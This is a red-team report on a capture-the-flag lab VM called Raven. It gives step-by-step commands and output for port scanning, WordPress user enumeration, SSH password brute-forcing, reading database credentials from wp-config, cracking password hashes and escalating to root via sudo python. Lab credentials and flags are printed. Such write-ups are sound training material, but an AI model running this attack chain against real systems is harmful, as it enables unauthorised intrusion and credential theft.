

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

nmap 192.168.1.110

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-06 19:17 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
145/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
root@Kali:~#
```

This scan identifies the services below as potential points of entry: - Target 1 - List of - Exposed Services

Target 1

<u>Port</u>	<u>State</u>	<u>Service</u>
22/TCP	Open	SSH
80/TCP	Open	HTTP
111/TCP	Open	RCPBIND
139/TCP	Open	NETBIOS-SSN
145/TCP	Open	NETBIOS-SSN

The following vulnerabilities were identified on each target:

Target 1

List of Critical Vulnerabilities

1. WordPress Enumeration
2. Weak Credentials
3. No file security permission
4. Python root escalation

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1

- flag1.txt : b9bbcb33e11b80be759c4e844862482d
- Exploit Used
 - Used wpscan to enumerate users from Target 1 WordPress site
 - `wpscan --url 192.168.1.110/wordpress --enumerate u`

```

[+] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===== (10 / 10) 100.00% Time: 00:00:00

[+] User(s) Identified:

[+] steven
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvuln.com/users/sign_up

[+] Finished: Mon Jun  6 22:07:37 2022
[+] Requests Done: 26
[+] Cached Requests: 26
[+] Data Sent: 5.95 KB
[+] Data Received: 119.956 KB
[+] Memory used: 123.887 MB
[+] Elapsed time: 00:00:01
root@Kali:~#

```

- Using hydra to crack michael's password

```

root@Kali:~# hydra -l michael -P /usr/share/wordlists/rockyou.txt 192.168.1.110 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-06 23:40:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.110:22/
[22][ssh] host: 192.168.1.110  login: michael  password: michael
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-06 23:40:40
root@Kali:~#

```

- Password found: michael

```

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$

```

- Flag 1 found within service.html located in /var/www/html

- Password was displayed in plain text

```
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', '06ItXmn^q2d[e+yB:9,L:rR<B`h+DG,zQ6SN{Or3zalh.JE+Q!Gi:L7U[(T:J5ay)');
define('SECURE_AUTH_KEY', 'y@[*q{)NKZAKKf,AA4y-Ia+swA6/0@6+r{+RS*N!p16a$*ctt+ I/!?!A/Tip(BG)');
define('LOGGED_IN_KEY', '.D4}RE4rW2C@9`BpX#U6i)?cs7,@e]YD:R~fp#hXOk$4o/yD08b7I6/F7SBSLPlj');
define('NONCE_KEY', '4L{Cq,Xce2?RR77zue#R3DezpNq4sFvcCzF@zdmgl/fKpaGX:EpJt/]xZW1_H646');
define('AUTH_SALT', '@@?u*YKtt:o/T6V;cbB`.GaJ0./S@dn$t2~n+lR3{PktK]2,*y/bX<BH-Bd#I]oE)');
define('SECURE_AUTH_SALT', 'f0Dc#lKmEJi(:-3+x.V#]Wy@mCmpXnjtmFb6`_80[8FK,ZQ=+HH/$6 mn=]/cvd');
define('LOGGED_IN_SALT', '}STRHqy,4scy7v >..Hc WD+h7rnYq]H'-gLDFTVUaOwLh!-/3=3u;##:Rj1]7@');
define('NONCE_SALT', 'i{#-[sXA TbJJfdn6D;0bd`p$r,~.o/?%m<H+>Vj+,nLvX!-jjjV-o6+HDh5Td{');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each

```

- Mysql -u root -p
- R@v3nSecurity

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

- show databases;
- Use wordpress
- Show tables;

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.00 sec)

mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----+
12 rows in set (0.00 sec)

mysql> █
```

-
- Select * from wp_posts;

```
2018/08/12/4-revision-v1/ | 0 | revision | 0 | 4 | http://raven.local/wordpress/index.php/2
7 | 2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}

2018/08/13/4-revision-v1/ | 0 | revision | 0 | 4 | http://raven.local/wordpress/index.php/2
```

- Flag4: 715dea6c055b9fe3337544932f2941ce
- Exploit Used:
 - Weak credential salted hashes and python root escalation privileges
 - Commands:
 - Mysql -u root -p
 - R@v3nSecurity

- show databases;
- Use wordpress
- Show tables;
- Select ID, user_login, user_pass from wp_users;
 - This gives us the hashes for michael's and steven's passwords

```
mysql> select Id, user_login, user_pass from wp_users;
+-----+-----+-----+
| Id | user_login | user_pass |
+-----+-----+-----+
| 1 | michael   | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| 2 | steven    | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |
+-----+-----+-----+
2 rows in set (0.00 sec)

mysql> █
```

- - Created .txt files including the hashes individually
- John steven.txt
 - Using john the ripper to crack the hash for steven's password hash
 - Password found: pink84

```
root@Kali:~# john steven.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84 (?)
fig 0:00:07:26 DONE 3/3 (2022-06-07 01:03) 0.002238g/s 8280p/s 8280c/s 8280C/s posups..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~# █
```

- Ssh steven@192.168.1.110
- Password: pink84
- Sudo -l
 - To check sudo privileges
- Sudo python -c 'import pty;pty.spawn("/bin/bash")'
 - This python code allows the user to escalate to root privileges
- Cd /root
- Ls
- Cat flag4.txt


```

flag4.txt
root@target1:~# cat flag4.txt
-----
| _ _ \
| | / _ _ _ _ _
| // _ \ \ / _ \ ' \
| | \ \ | \ \ / _ / | |
\ \ \ \ _ \ \ \ _ \ | |

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~#

```

```

root@kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$ sudo -l
Matching defaults entries for steven on raven:
  env_reset, mail_badpass, secure_path=/usr/local/sbin:./usr/local/bin:./usr/sbin:./usr/bin:./sbin:./bin

User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# ls
root@target1:/home/steven# cd /root
root@target1:~# ls
flag4.txt
root@target1:~#

```